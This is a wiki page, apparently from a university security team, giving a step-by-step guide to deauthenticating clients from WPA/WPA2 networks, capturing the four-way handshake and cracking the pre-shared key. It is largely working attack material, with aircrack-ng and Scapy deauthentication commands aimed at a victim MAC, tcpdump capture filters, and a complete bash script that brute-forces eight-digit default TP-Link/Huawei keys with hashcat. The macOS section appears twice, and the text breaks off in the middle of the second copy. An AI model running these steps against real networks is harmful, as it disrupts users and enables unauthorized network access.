<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:49:28Z

RSchuller: /* Crack with aircrack-ng */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

